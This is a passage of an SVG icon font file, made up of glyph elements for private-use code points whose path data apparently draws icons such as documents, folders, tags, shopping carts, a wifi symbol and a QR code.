		 M 420,20l-56,0 l0,56 l 56,0 L 420,20 z M 420,132l-56,0 l0,56 l 56,0 L 420,132 z M 420,244l-56,0 L 364,300 l 56,0 L 420,244 zM 168,244L 168,76L 280,160 	z"  />
<glyph unicode="&#xe014;" d="M 168,258A70,70 10980 1 0 308,258A70,70 10980 1 0 168,258zM0,258A70,70 10980 1 0 140,258A70,70 10980 1 0 0,258zM 336,118l0,42 c0,15.4-12.6,28-28,28l-70,0 L 70,188 L 28,188 c-15.4,0-28-12.6-28-28l0-140 c0-15.4, 12.6-28, 28-28l 280,0 c 15.4,0, 28,12.6, 28,28
		l0,42 l 112-70L 448,188 L 336,118z M 280,48L 56,48 l0,84 l 224,0 L 280,48 z"  />
<glyph unicode="&#xe015;" d="M 378,300L 154,300 c-38.5,0-70-31.5-70-70l0-224 c0-38.5, 31.5-70, 70-70l 224,0 c 38.5,0, 70,31.5, 70,70L 448,230 C 448,268.5, 416.5,300, 378,300z M 182-8
	c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 205.196-8, 182-8z M 182,160c-23.196,0-42,18.804-42,42s 18.804,42, 42,42
	s 42-18.804, 42-42S 205.196,160, 182,160z M 266,76c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 289.196,76, 266,76z M 350-8
	c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 373.196-8, 350-8z M 350,160c-23.196,0-42,18.804-42,42s 18.804,42, 42,42
	s 42-18.804, 42-42S 373.196,160, 350,160z M 362.582,328C 356.051,359.852, 327.709,384, 294,384L 70,384 C 31.5,384,0,352.5,0,314l0-224 
	c0-33.708, 24.148-62.051, 56-68.582L 56,300 c0,15.4, 12.6,28, 28,28L 362.582,328 z"  />
<glyph unicode="&#xe016;" d="M 422.069,305.773C 380.987,353.658, 320.040,384, 252,384C 128.288,384, 28,283.712, 28,160s 100.288-224, 224-224
	c 68.040,0, 128.987,30.343, 170.069,78.227L 280,160L 422.069,305.773z M 308,331.237c 17.252,0, 31.237-13.984, 31.237-31.237
	c0-17.252-13.985-31.237-31.237-31.237S 276.763,282.749, 276.763,300C 276.763,317.251, 290.748,331.237, 308,331.237z"  />
<glyph unicode="&#xe017;" d="M 357.687,231.684C 273.002,294.622, 243.82,345.005, 224.002,383.999l0,0C 224,383.999, 224,384, 224,384l0-0.001 
	c-19.817-38.994-49-89.378-133.685-152.315c-144.391-107.313-8.477-257.105, 111.019-174.66
	c-7.786-51.157-34.357-88.45-61.341-104.511L 139.993-64 l 84.007,0 l 84.007,0 l0,16.511 c-26.986,16.060-53.554,53.355-61.343,104.512
	C 366.161-25.422, 502.077,124.372, 357.687,231.684z"  />
<glyph unicode="&#xe018;" d="M 344.239,212.162c-25.826,0-49.038-10.761-65.56-28.304c-6.998-7.431-19.146-16.236-32.288-23.979
	c 6.173,23.567, 25.671,53.244, 39.212,66.262c 17.343,16.699, 27.993,40.176, 27.993,66.281C 313.599,342.689, 273.576,383.465, 224.002,384
	c-49.578-0.535-89.598-41.311-89.598-91.577c0-26.106, 10.651-49.582, 27.994-66.281c 13.542-13.018, 33.040-42.695, 39.212-66.262
	c-13.143,7.744-25.29,16.549-32.288,23.979c-16.523,17.543-39.734,28.304-65.559,28.304c-50.044,0-90.598-40.978-90.598-91.581
	c0-50.592, 40.553-91.585, 90.598-91.585c 25.831,0, 49.036,11.093, 65.559,28.635c 7.352,7.819, 20.319,17.56, 34.253,25.651
	c-1.313-64.615-32.17-112.073-63.577-130.771L 139.998-64 l 84.004,0 l 84.002,0 l0,16.511 c-31.409,18.697-62.265,66.157-63.578,130.771
	c 13.935-8.091, 26.901-17.836, 34.253-25.651c 16.523-17.541, 39.729-28.635, 65.56-28.635c 50.044,0, 90.597,40.994, 90.597,91.585
	C 434.836,171.184, 394.284,212.162, 344.239,212.162z"  />
<glyph unicode="&#xe019;" d="M 224,384L 84,160L 224-64L 364,160 z"  />
<glyph unicode="&#xe01a;" d="M 322.009,105.767C 330.919,121.837, 336,140.324, 336,160c0,45.2-26.779,84.142-65.334,101.838
	C 284.983,274.656, 294,293.272, 294,314c0,38.66-31.34,70-70,70c-38.66,0-70-31.34-70-70c0-20.729, 9.017-39.344, 23.334-52.162
	C 138.779,244.142, 112,205.2, 112,160c0-19.676, 5.080-38.163, 13.991-54.232C 67.413,71.876, 28,8.543, 28-64l 392,0 
	C 420,8.543, 380.587,71.876, 322.009,105.767z"  />
<glyph unicode="&#xe01b;" d="M 448,196.201c0,87.905-25.721,159.223-57.523,159.786c 0.128,0.003, 0.253,0.013, 0.382,0.013l-36.287,0 
	c0,0-85.225-64.022-207.913-89.142c-3.745-19.815-6.138-43.432-6.138-70.657c0-27.225, 2.391-50.841, 6.138-70.656
	c 122.687-25.12, 207.913-89.143, 207.913-89.143l 36.287,0 c-0.128,0-0.253,0.011-0.382,0.014C 422.281,36.978, 448,108.295, 448,196.201
	z M 378.361,60.577c-4.105,0-8.545,4.262-10.826,6.802c-5.526,6.153-10.847,15.732-15.395,27.706
	c-10.175,26.789-15.779,62.698-15.779,101.117c0,38.417, 5.604,74.327, 15.779,101.116c 4.547,11.973, 9.871,21.554, 15.395,27.706
	c 2.281,2.543, 6.722,6.804, 10.826,6.804c 4.104,0, 8.547-4.263, 10.825-6.804c 5.527-6.153, 10.848-15.732, 15.395-27.706
	c 10.175-26.788, 15.78-62.699, 15.78-101.116c0-38.414-5.604-74.326-15.78-101.117c-4.546-11.973-9.871-21.553-15.395-27.706
	C 386.908,64.839, 382.466,60.577, 378.361,60.577z M 110.168,196.201c0,22.728, 1.667,44.813, 4.835,65.229
	c-20.725-2.867-38.912-4.517-61.399-4.517c-29.338,0-29.338,0-29.338,0L0,215.487l0-38.574 l 24.264-41.425c0,0,0,0, 29.339,0
	c 22.487,0, 40.674-1.651, 61.399-4.517C 111.835,151.387, 110.168,173.472, 110.168,196.201z M 161.066,103.050l-55.999,10.723
	l 35.806-140.675c 1.853-7.277, 9.075-10.954, 16.050-8.161l 51.868,20.76c 6.976,2.79, 9.768,10.484, 6.211,17.099L 161.066,103.050zM 378.361,143.931c-1.583,0-3.293,1.642-4.173,2.622c-2.131,2.371-4.181,6.064-5.933,10.678
	c-3.921,10.325-6.081,24.165-6.081,38.972c0,14.807, 2.16,28.647, 6.081,38.972c 1.753,4.615, 3.804,8.307, 5.933,10.678
	c 0.879,0.98, 2.59,2.622, 4.173,2.622c 1.582,0, 3.294-1.643, 4.173-2.622c 2.131-2.371, 4.181-6.063, 5.933-10.678
	c 3.922-10.324, 6.082-24.165, 6.082-38.972c0-14.806-2.16-28.647-6.082-38.972c-1.752-4.615-3.804-8.307-5.933-10.678
	C 381.655,145.573, 379.943,143.931, 378.361,143.931z"  />
<glyph unicode="&#xe01c;" d="M 280,132 C 326.318,132 368.318,113.159 398.738,82.738 L 359.159,43.159 C 338.879,63.439 310.878,76 280,76 C 249.122,76 221.122,63.439 200.841,43.159 L 161.262,82.738 C 191.682,113.159 233.682,132 280,132 ZM 82.010,161.99 C 134.895,214.875 205.209,244 280,244 C 354.791,244 425.105,214.875 477.991,161.99 L 438.392,122.392 L 438.392,122.392 C 396.084,164.701 339.832,188 280,188 C 220.167,188 163.916,164.701 121.608,122.392 L 82.010,161.99 ZM 432.593,325.183 C 479.275,305.438 521.194,277.177 557.185,241.185 L 557.185,241.185 L 517.588,201.588 C 454.126,265.050 369.748,300 280,300 C 190.251,300 105.875,265.050 42.412,201.588 L 2.814,241.186 C 38.806,277.177 80.725,305.438 127.407,325.183 C 175.752,345.631 227.092,356 280,356 C 332.908,356 384.247,345.631 432.593,325.183 ZM 252-8A28,28 2700 1 0 308-8A28,28 2700 1 0 252-8z" horiz-adv-x="560"  />
<glyph unicode="&#xe01d;" d="M 448,160C 448,283.712, 347.712,384, 224,384S0,283.712,0,160c0-96.274, 60.741-178.353, 145.988-210.030L 140-64l 168,0 l-5.988,13.97
	C 387.259-18.353, 448,63.726, 448,160z M 212.971,106.264C 202.992,110.546, 196,120.454, 196,132c0,15.464, 12.536,28, 28,28
	c 15.464,0, 28-12.536, 28-28c0-11.546-6.99-21.457-16.969-25.74L 224,132L 212.971,106.264z M 235.492,105.185
	C 260.908,110.486, 280,133.011, 280,160c0,30.929-25.071,56-56,56c-30.928,0-56-25.071-56-56c0-26.99, 19.102-49.491, 44.52-54.787
	l-32.648-76.178C 139.959,46.162, 112,85.815, 112,132c0,61.855, 50.145,117.25, 112,117.25s 112-55.395, 112-117.25
	c0-46.185-27.959-85.837-67.872-102.966L 235.492,105.185z M 301.196-48.122l-32.342,75.463C 324.174,46.038, 364,98.367, 364,160
	c0,77.319-62.68,140-140,140c-77.319,0-140-62.681-140-140c0-61.633, 39.826-113.962, 95.146-132.66l-32.342-75.463
	C 76.982-18.159, 28.073,51.205, 28.073,132C 28.073,240.208, 115.792,333.177, 224,333.177c 108.208,0, 195.927-92.97, 195.927-201.177
	C 419.927,51.205, 371.018-18.159, 301.196-48.122z"  />
<glyph unicode="&#xe01e;" d="M 168,160A56,56 2700 1 0 280,160A56,56 2700 1 0 168,160zM 290.652,283.145 C 334.338,259.451 364,213.19 364,160 C 364,106.81 334.338,60.549 290.652,36.855 C 309.931,67.535 322,111.348 322,160 C 322,208.652 309.931,252.465 290.652,283.145 ZM 126,160 C 126,111.348 138.068,67.535 157.348,36.855 C 113.663,60.55 84,106.81 84,160 C 84,213.19 113.663,259.45 157.348,283.145 C 138.068,252.465 126,208.652 126,160 ZM 42,160 C 42,84.794 65.802,17.295 103.535-28.878 C 41.278,10.911 0,80.634 0,160 C 0,239.366 41.278,309.089 103.535,348.878 C 65.802,302.706 42,235.206 42,160 ZM 344.466,348.877 C 406.722,309.089 448,239.366 448,160 C 448,80.634 406.722,10.911 344.466-28.877 C 382.198,17.295 406,84.794 406,160 C 406,235.206 382.198,302.706 344.466,348.877 Z"  />
<glyph unicode="&#xe01f;" d="M 392,328l0-364 L 98-36 c-23.197,0-42,18.804-42,42c0,23.195, 18.803,42, 42,42l 266,0 L 364,384 L 84,384 C 53.201,384, 28,358.8, 28,328l0-336 
		c0-30.8, 25.201-56, 56-56l 336,0 L 420,328 L 392,328 zM 112,20L 364,20L 364-8L 112-8z"  />
<glyph unicode="&#xe020;" d="M 252.102,257.444L 358.289,293.071L 447.357,27.603L 341.17-8.024zM0-8l 112,0 L 112,300 L0,300 L0-8 z M 28,244l 56,0 l0-28 L 28,216 L 28,244 zM 140-8l 112,0 L 252,300 L 140,300 L 140-8 z M 168,244l 56,0 l0-28 l-56,0 L 168,244 z"  />
<glyph unicode="&#xe021;" d="M 224,384L0,244l 448,0 L 224,384z M 350,216l 14-28l0-168 l 56,0 L 420,188 l 14,28L 350,216 z M 238,216l 14-28l0-168 l 56,0 L 308,188 l 14,28L 238,216 z M 126,216l 14-28l0-168 l 56,0 
	L 196,188 l 14,28L 126,216 z M 14,216l 14-28l0-168 l 56,0 L 84,188 l 14,28L 14,216 z M 14-8L0-64l 448,0 l-14,56L 14-8 z M 252,300c0-15.464-12.536-28-28-28
	c-15.464,0-28,12.536-28,28s 12.536,28, 28,28C 239.464,328, 252,315.464, 252,300z"  />
<glyph unicode="&#xe022;" d="M 378,384L 42,384 C 18.9,384,0,365.1,0,342l0-364 c0-23.1, 18.9-42, 42-42l 336,0 c 23.1,0, 42,18.9, 42,42L 420,342 C 420,365.1, 401.1,384, 378,384z M 364-8L 56-8 
		L 56,328 l 308,0 L 364-8 zM 112,188L 308,188L 308,160L 112,160zM 112,132L 308,132L 308,104L 112,104zM 112,76L 308,76L 308,48L 112,48zM 112,244L 308,244L 308,216L 112,216z"  />
<glyph unicode="&#xe023;" d="M 378,384L 42,384 C 18.9,384,0,365.1,0,342l0-364 c0-23.1, 18.9-42, 42-42l 336,0 c 23.1,0, 42,18.9, 42,42L 420,342 C 420,365.1, 401.1,384, 378,384z M 364-8L 56-8 
		L 56,328 l 308,0 L 364-8 zM 112,132L 308,132L 308,104L 112,104zM 112,76L 308,76L 308,48L 112,48zM 140,258A42,42 4860 1 0 224,258A42,42 4860 1 0 140,258zM 210,216l-56,0 c-23.1,0-42-12.6-42-28l0-28 l 140,0 l0,28 C 252,203.4, 233.1,216, 210,216z"  />
<glyph unicode="&#xe024;" d="M 390.302,301.698l-52.602,52.603C 321.364,370.636, 289.1,384, 266,384L 70,384 C 46.9,384, 28,365.1, 28,342l0-364 c0-23.1, 18.9-42, 42-42l 308,0 
	c 23.1,0, 42,18.9, 42,42L 420,230 C 420,253.1, 406.636,285.364, 390.302,301.698z M 280,324.692c 0.961-0.352, 1.948-0.735, 2.957-1.153
	c 7.901-3.273, 13.387-7.077, 15.145-8.835l 52.603-52.604c 1.758-1.758, 5.561-7.242, 8.835-15.144c 0.418-1.009, 0.801-1.996, 1.153-2.956
	L 280,244 L 280,324.692 z M 364-8L 84-8 L 84,328 l 168,0 l0-112 l 112,0 L 364-8 z"  />
<glyph unicode="&#xe025;" d="M 390.302,301.698l-52.602,52.603C 321.364,370.636, 289.1,384, 266,384L 70,384 C 46.9,384, 28,365.1, 28,342l0-364 c0-23.1, 18.9-42, 42-42l 308,0 
	c 23.1,0, 42,18.9, 42,42L 420,230 C 420,253.1, 406.636,285.364, 390.302,301.698z M 280,324.692c 0.961-0.352, 1.948-0.735, 2.957-1.153
	c 7.901-3.273, 13.387-7.077, 15.145-8.835l 52.603-52.604c 1.758-1.758, 5.561-7.242, 8.835-15.144c 0.418-1.009, 0.801-1.996, 1.153-2.956
	L 280,244 L 280,324.692 z M 364-8L 84-8 L 84,328 l 168,0 l0-112 l 112,0 L 364-8 zM 112,160L 336,160L 336,132L 112,132zM 112,104L 336,104L 336,76L 112,76zM 112,48L 336,48L 336,20L 112,20z"  />
<glyph unicode="&#xe026;" d="M 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 c 19.25,0, 35,15.75, 35,35
	L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
	c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 c0,3.794, 3.206,7, 7,7
	l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z"  />
<glyph unicode="&#xe027;" d="M 364,272l-84,0 L 280,300 L 196,384L0,384 l0-336 l 168,0 l0-112 l 280,0 L 448,188 L 364,272z M 364,232.402L 408.402,188L 364,188 L 364,232.402 z M 196,344.402L 240.402,300L 196,300 
	L 196,344.402 z M 28,356l 140,0 l0-84 l 84,0 l0-196 L 28,76 L 28,356 z M 420-36L 196-36 l0,84 l 84,0 L 280,244 l 56,0 l0-84 l 84,0 L 420-36 z"  />
<glyph unicode="&#xe028;" d="M 378,328l-28,0 l0-28 l 14,0 l0-224 L 252,76 l0-112 L 84-36 L 84,300 l 14,0 L 98,328 L 70,328 c-7.701,0-14-6.3-14-14l0-364 c0-7.7, 6.299-14, 14-14l 220.5,0 l 101.5,101.5L 392,314 
	C 392,321.7, 385.7,328, 378,328z M 280-36l0,84 l 84,0 L 280-36zM 336,328l-56,0 L 280,356 c0,15.4-12.6,28-28,28l-56,0 c-15.402,0-28-12.6-28-28l0-28 l-56,0 l0-56 l 224,0 L 336,328 z M 252,328l-56,0 L 196,355.95 
	c 0.015,0.017, 0.032,0.034, 0.050,0.050l 55.898,0 c 0.018-0.016, 0.036-0.033, 0.052-0.050L 252,328 z"  />
<glyph unicode="&#xe029;" d="M 280,272L 280,384 L 84,384 L0,300l0-252 l 168,0 l0-112 l 280,0 L 448,272 L 280,272 z M 84,344.402L 84,300 L 39.598,300 L 84,344.402z M 28,76L 28,272 l 84,0 L 112,356 l 140,0 l0-84 l-84-84l0-112 L 28,76 z
	 M 252,232.402L 252,188 l-44.402,0 L 252,232.402z M 420-36L 196-36 L 196,160 l 84,0 l0,84 l 140,0 L 420-36 z"  />
<glyph unicode="&#xe02a;" d="M 308,328l-56,0 L 252,356 c0,15.4-12.6,28-28,28l-56,0 c-15.402,0-28-12.6-28-28l0-28 L 84,328 l0-56 l 224,0 L 308,328 z M 224,328l-56,0 L 168,355.95 
		c 0.015,0.017, 0.032,0.034, 0.050,0.050l 55.898,0 c 0.018-0.016, 0.036-0.033, 0.052-0.050L 224,328 zM 364,244L 364,314 c0,7.7-6.3,14-14,14l-28,0 l0-28 l 14,0 l0-56 L 168,244 l0-196 L 56,48 L 56,300 l 14,0 L 70,328 L 42,328 c-7.701,0-14-6.3-14-14l0-280 c0-7.7, 6.299-14, 14-14l 126,0 
		l0-84 l 196,0 l 84,84L 448,244 L 364,244 z M 364-24.402L 364,20 l 44.402,0 L 364-24.402z M 420,48l-84,0 l0-84 L 196-36 L 196,216 l 224,0 L 420,48 z"  />
<glyph unicode="&#xe02b;" d="M 364,244L 364,314 c0,7.7-6.3,14-14,14L 252,328 L 252,356 c0,15.4-12.6,28-28,28l-56,0 c-15.402,0-28-12.6-28-28l0-28 L 42,328 c-7.701,0-14-6.3-14-14l0-280 
	c0-7.7, 6.299-14, 14-14l 126,0 l0-84 l 196,0 l 84,84L 448,244 L 364,244 z M 168,355.95c 0.015,0.017, 0.032,0.034, 0.050,0.050l 55.898,0 
	c 0.018-0.016, 0.036-0.033, 0.052-0.050L 224,328 l-56,0 L 168,355.95 z M 84,272L 84,300 l 224,0 l0-28 L 84,272 z M 364-24.402L 364,20 l 44.402,0 L 364-24.402z M 420,48l-84,0 l0-84 
	L 196-36 L 196,216 l 224,0 L 420,48 z"  />
<glyph unicode="&#xe02c;" d="M 308,328l-56,0 L 252,356 c0,15.4-12.6,28-28,28l-56,0 c-15.402,0-28-12.6-28-28l0-28 L 84,328 l0-56 l 224,0 L 308,328 z M 224,328l-56,0 L 168,355.95 
		c 0.015,0.017, 0.032,0.034, 0.050,0.050l 55.898,0 c 0.018-0.016, 0.036-0.033, 0.052-0.050L 224,328 zM 364,244L 364,314 c0,7.7-6.3,14-14,14l-28,0 l0-28 l 14,0 l0-56 l-84,0 l-84-84l0-112 L 56,48 L 56,300 l 14,0 L 70,328 L 42,328 c-7.701,0-14-6.3-14-14l0-280 
		c0-7.7, 6.299-14, 14-14l 126,0 l0-84 l 280,0 L 448,244 L 364,244 z M 252,204.402L 252,160 l-44.402,0 L 252,204.402z M 420-36L 196-36 L 196,132 l 84,0 l0,84 l 140,0 L 420-36 z"  />
<glyph unicode="&#xe02d;" d="M 448,244L 224,356L0,244l 224-112L 448,244z M 224,318.826L 373.65,244L 224,169.174L 74.35,244L 224,318.826zM 403.132,182.434 L 448,160 L 224,48 L 0,160 L 44.868,182.434 L 224,92.868 ZM 403.132,98.434 L 448,76 L 224-36 L 0,76 L 44.868,98.434 L 224,8.868 Z"  />
<glyph unicode="&#xe02e;" d="M 0,244 L 448,244 L 420-36 L 28-36 L 0,244 Z M 406,300 L 420,272 L 28,272 L 56,328 L 210,328 L 224,300 L 406,300 Z"  />
<glyph unicode="&#xe02f;" d="M 364-36L 448,188L 84,188L0-36 zM 56,216 L 0-36 L 0,328 L 126,328 L 182,272 L 364,272 L 364,216 Z"  />
<glyph unicode="&#xe030;" d="M 405.918,384L 279.672,384 c-23.146,0-55.473-13.39-71.839-29.756L 12.274,158.686c-16.366-16.366-16.366-43.148,0-59.514
	l 150.898-150.896c 16.366-16.367, 43.147-16.367, 59.513,0l 195.558,195.557C 434.61,160.2, 448,192.527, 448,215.672L 448,341.918 
	C 448,365.063, 429.062,384, 405.918,384z M 350,244c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 373.196,244, 350,244z"  />
<glyph unicode="&#xe031;" d="M 434,356L 336,356 c-23.1,0-55.364-13.364-71.698-29.698L 99.698,161.698c-16.334-16.334-16.334-43.062,0-59.397l 122.603-122.602
	c 16.334-16.334, 43.062-16.334, 59.397,0l 164.602,164.602C 462.636,160.636, 476,192.9, 476,216L 476,314 C 476,337.1, 457.1,356, 434,356z M 378,216
	c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 401.196,216, 378,216zM 37.899,122.101 L 187.689-27.689 C 171.824-36.072 151.612-33.612 138.302-20.301 L 15.698,102.302 C -0.635,118.636 -0.635,145.365 15.698,161.698 L 180.302,326.302 C 196.636,342.636 228.9,356 252,356 L 37.899,141.9 C 32.455,136.455 32.455,127.546 37.899,122.101 Z" horiz-adv-x="476"  />
<glyph unicode="&#xe032;" d="M0,328L 56,328L 56,48L0,48zM 84,328L 112,328L 112,48L 84,48zM 140,328L 168,328L 168,48L 140,48zM 224,328L 252,328L 252,48L 224,48zM 336,328L 364,328L 364,48L 336,48zM 420,328L 448,328L 448,48L 420,48zM 280,328L 294,328L 294,48L 280,48zM 196,328L 210,328L 210,48L 196,48zM 378,328L 392,328L 392,48L 378,48zM0,20L 28,20L 28-8L0-8zM 84,20L 112,20L 112-8L 84-8zM 140,20L 168,20L 168-8L 140-8zM 280,20L 308,20L 308-8L 280-8zM 420,20L 448,20L 448-8L 420-8zM 336,20L 392,20L 392-8L 336-8zM 196,20L 252,20L 252-8L 196-8z"  />
<glyph unicode="&#xe033;" d="M 140,356 L 28,356 L 28,244 L 140,244 L 140,356 Z M 168,384 L 168,384 L 168,216 L 0,216 L 0,384 L 168,384 ZM 56,328L 112,328L 112,272L 56,272zM 420,356 L 308,356 L 308,244 L 420,244 L 420,356 Z M 448,384 L 448,384 L 448,216 L 280,216 L 280,384 L 448,384 ZM 336,328L 392,328L 392,272L 336,272zM 140,76 L 28,76 L 28-36 L 140-36 L 140,76 Z M 168,104 L 168,104 L 168-64 L 0-64 L 0,104 L 168,104 ZM 56,48L 112,48L 112-8L 56-8zM 196,384L 224,384L 224,356L 196,356zM 224,356L 252,356L 252,328L 224,328zM 196,328L 224,328L 224,300L 196,300zM 224,300L 252,300L 252,272L 224,272zM 196,272L 224,272L 224,244L 196,244zM 224,244L 252,244L 252,216L 224,216zM 196,216L 224,216L 224,188L 196,188zM 196,160L 224,160L 224,132L 196,132zM 224,132L 252,132L 252,104L 224,104zM 196,104L 224,104L 224,76L 196,76zM 224,76L 252,76L 252,48L 224,48zM 196,48L 224,48L 224,20L 196,20zM 224,20L 252,20L 252-8L 224-8zM 196-8L 224-8L 224-36L 196-36zM 224-36L 252-36L 252-64L 224-64zM 420,160L 448,160L 448,132L 420,132zM 28,160L 56,160L 56,132L 28,132zM 56,188L 84,188L 84,160L 56,160zM0,188L 28,188L 28,160L0,160zM 112,188L 140,188L 140,160L 112,160zM 140,160L 168,160L 168,132L 140,132zM 168,188L 196,188L 196,160L 168,160zM 252,160L 280,160L 280,132L 252,132zM 280,188L 308,188L 308,160L 280,160zM 308,160L 336,160L 336,132L 308,132zM 336,188L 364,188L 364,160L 336,160zM 364,160L 392,160L 392,132L 364,132zM 392,188L 420,188L 420,160L 392,160zM 420,104L 448,104L 448,76L 420,76zM 252,104L 280,104L 280,76L 252,76zM 280,132L 308,132L 308,104L 280,104zM 308,104L 336,104L 336,76L 308,76zM 364,104L 392,104L 392,76L 364,76zM 392,132L 420,132L 420,104L 392,104zM 420,48L 448,48L 448,20L 420,20zM 252,48L 280,48L 280,20L 252,20zM 280,76L 308,76L 308,48L 280,48zM 336,76L 364,76L 364,48L 336,48zM 364,48L 392,48L 392,20L 364,20zM 392,76L 420,76L 420,48L 392,48zM 420-8L 448-8L 448-36L 420-36zM 280,20L 308,20L 308-8L 280-8zM 308-8L 336-8L 336-36L 308-36zM 336,20L 364,20L 364-8L 336-8zM 364-8L 392-8L 392-36L 364-36zM 280-36L 308-36L 308-64L 280-64zM 336-36L 364-36L 364-64L 336-64zM 392-36L 420-36L 420-64L 392-64z"  />
<glyph unicode="&#xe034;" d="M 251.998,244L 307.997,188.001L 196,76.004L 140.001,132.003zM 438.168,253.842l-32.163,32.163l-14.004-14.004c-7.165-7.166-17.067-11.598-28-11.598
		c-21.87,0-39.6,17.728-39.6,39.598c0,10.938, 4.436,20.842, 11.609,28.008l 13.995,13.994l-32.164,32.163
		c-13.111,13.111-34.566,13.111-47.677,0L 9.833,113.838c-13.11-13.111-13.11-34.567,0-47.677l 32.165-32.164l 13.983,13.984
		c 7.167,7.178, 17.076,11.617, 28.019,11.617c 21.87,0, 39.598-17.729, 39.598-39.598c0-10.94-4.436-20.843-11.609-28.010l-13.993-13.994
		l 32.163-32.164c 13.11-13.11, 34.566-13.11, 47.677,0l 260.33,260.33C 451.277,219.276, 451.277,240.731, 438.168,253.842z
		 M 196.001,20.002l-112,112l 168,168l 112-112L 196.001,20.002z"  />
<glyph unicode="&#xe035;" d="M 56-22A42,42 10980 1 0 140-22A42,42 10980 1 0 56-22zM 336-22A42,42 10980 1 0 420-22A42,42 10980 1 0 336-22zM 420,160L 420,328 L 56,328 C 56,358.928, 30.929,384,0,384l0-28 c 15.439,0, 28-12.561, 28-28l 21.032-180.274C 36.216,137.464, 28,121.695, 28,104
		c0-30.929, 25.072-56, 56-56l 336,0 l0,28 L 84,76 c-15.464,0-28,12.536-28,28c0,0.096, 0.006,0.191, 0.007,0.287L 420,160z"  />
<glyph unicode="&#xe036;" d="M 370.658,132c 15.4,0, 31.462,12.115, 35.692,26.923l 40.616,142.155C 451.196,315.885, 442.058,328, 426.658,328L 140,328 
	c0,30.928-25.072,56-56,56L0,384 l0-56 l 84,0 l0-238 c0-23.196, 18.804-42, 42-42l 266,0 c 15.464,0, 28,12.536, 28,28s-12.536,28-28,28L 140,104 l0,28 L 370.658,132 z
	 M 140,272l 253.228,0 l-24-84L 140,188 L 140,272 zM 168-29c0-19.25-15.75-35-35-35l-14,0 c-19.25,0-35,15.75-35,35l0,14 c0,19.25, 15.75,35, 35,35l 14,0 c 19.25,0, 35-15.75, 35-35L 168-29 zM 420-29c0-19.25-15.75-35-35-35l-14,0 c-19.25,0-35,15.75-35,35l0,14 c0,19.25, 15.75,35, 35,35l 14,0 c 19.25,0, 35-15.75, 35-35L 420-29 z"  />
<glyph unicode="&#xe037;" d="M 427.692,298.923c-14.868,4.247-30.367-4.362-34.615-19.231L 390.88,272L 129.718,272 l-3.934,31.473
		C 124.032,317.485, 112.121,328, 98,328L 28,328 C 12.536,328,0,315.464,0,300s 12.536-28, 28-28l 45.282,0 l 24.934-199.473
		C 99.968,58.516, 111.879,48, 126,48l 238,0 c 12.501,0, 23.489,8.288, 26.923,20.308l 56,196
		C 451.171,279.177, 442.561,294.675, 427.692,298.923z M 224,160l0,28 l 55.998,0 l0-28 L 224,160 z M 279.998,132l0-28 L 224,104 l0,28 L 279.998,132 z M 224,216l0,28 
		l 55.998,0 l0-28 L 224,216 z M 133.218,244L 196,244 l0-28 l-59.282,0 L 133.218,244z M 140.218,188L 196,188 l0-28 l-52.282,0 L 140.218,188z M 147.218,132L 196,132 l0-28 l-45.282,0 
		L 147.218,132z M 342.879,104l-34.881,0 l0,28 l 42.881,0 L 342.879,104z M 358.88,160l-50.881,0 l0,28 l 58.881,0 L 358.88,160z M 374.88,216l-66.882,0 
		l0,28 l 74.882,0 L 374.88,216zM 112-22A42,42 2700 1 0 196-22A42,42 2700 1 0 112-22zM 280-22A42,42 2700 1 0 364-22A42,42 2700 1 0 280-22z"  />
<glyph unicode="&#xe038;" d="M 210,356C 94.020,356,0,261.98,0,146c0-115.98, 94.020-210, 210-210c 115.98,0, 210,94.020, 210,210
		C 420,261.98, 325.98,356, 210,356z M 210-22c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168
		c 92.784,0, 168-75.216, 168-168C 378,53.216, 302.784-22, 210-22zM 224,160l0,56 l 56,0 l0,28 l-56,0 l0,28 l-28,0 l0-28 l-56,0 l0-112 l 56,0 l0-56 l-56,0 l0-28 l 56,0 l0-28 l 28,0 l0,28 l 56,0 l 0.001,0 L 280,160L 224,160 z M 196,160l-28,0 l0,56 l 28,0 L 196,160 z
	 M 252.001,76L 224,76 l0,56 l 28.001,0 L 252.001,76 z"  />
<glyph unicode="&#xe039;" d="M 406,328L 42,328 C 18.9,328,0,309.1,0,286l0-252 c0-23.1, 18.9-42, 42-42l 364,0 c 23.1,0, 42,18.9, 42,42L 448,286 C 448,309.1, 429.1,328, 406,328z M 42,300
		l 364,0 c 7.589,0, 14-6.411, 14-14l0-42 L 28,244 l0,42 C 28,293.589, 34.411,300, 42,300z M 406,20L 42,20 c-7.589,0-14,6.411-14,14L 28,160 l 392,0 l0-126 
		C 420,26.411, 413.589,20, 406,20zM 56,104L 84,104L 84,48L 56,48zM 112,104L 140,104L 140,48L 112,48zM 168,104L 196,104L 196,48L 168,48z"  />
<glyph unicode="&#xe03a;" d="M 168,356L 28,356 C 12.6,356,0,343.4,0,328l0-140 c0-15.4, 12.598-28, 28-28l 140,0 c 15.4,0, 28,12.6, 28,28L 196,328 C 196,343.4, 183.4,356, 168,356z
	 M 168,244L 28,244 l0,28 l 140,0 L 168,244 z M 392,356L 252,356 c-15.402,0-28-12.6-28-28l0-364 c0-15.4, 12.598-28, 28-28l 140,0 c 15.4,0, 28,12.6, 28,28L 420,328 
	C 420,343.4, 407.4,356, 392,356z M 392,104L 252,104 l0,28 l 140,0 L 392,104 z M 392,188L 252,188 l0,28 l 140,0 L 392,188 z M 168,132L 28,132 c-15.4,0-28-12.6-28-28l0-140 
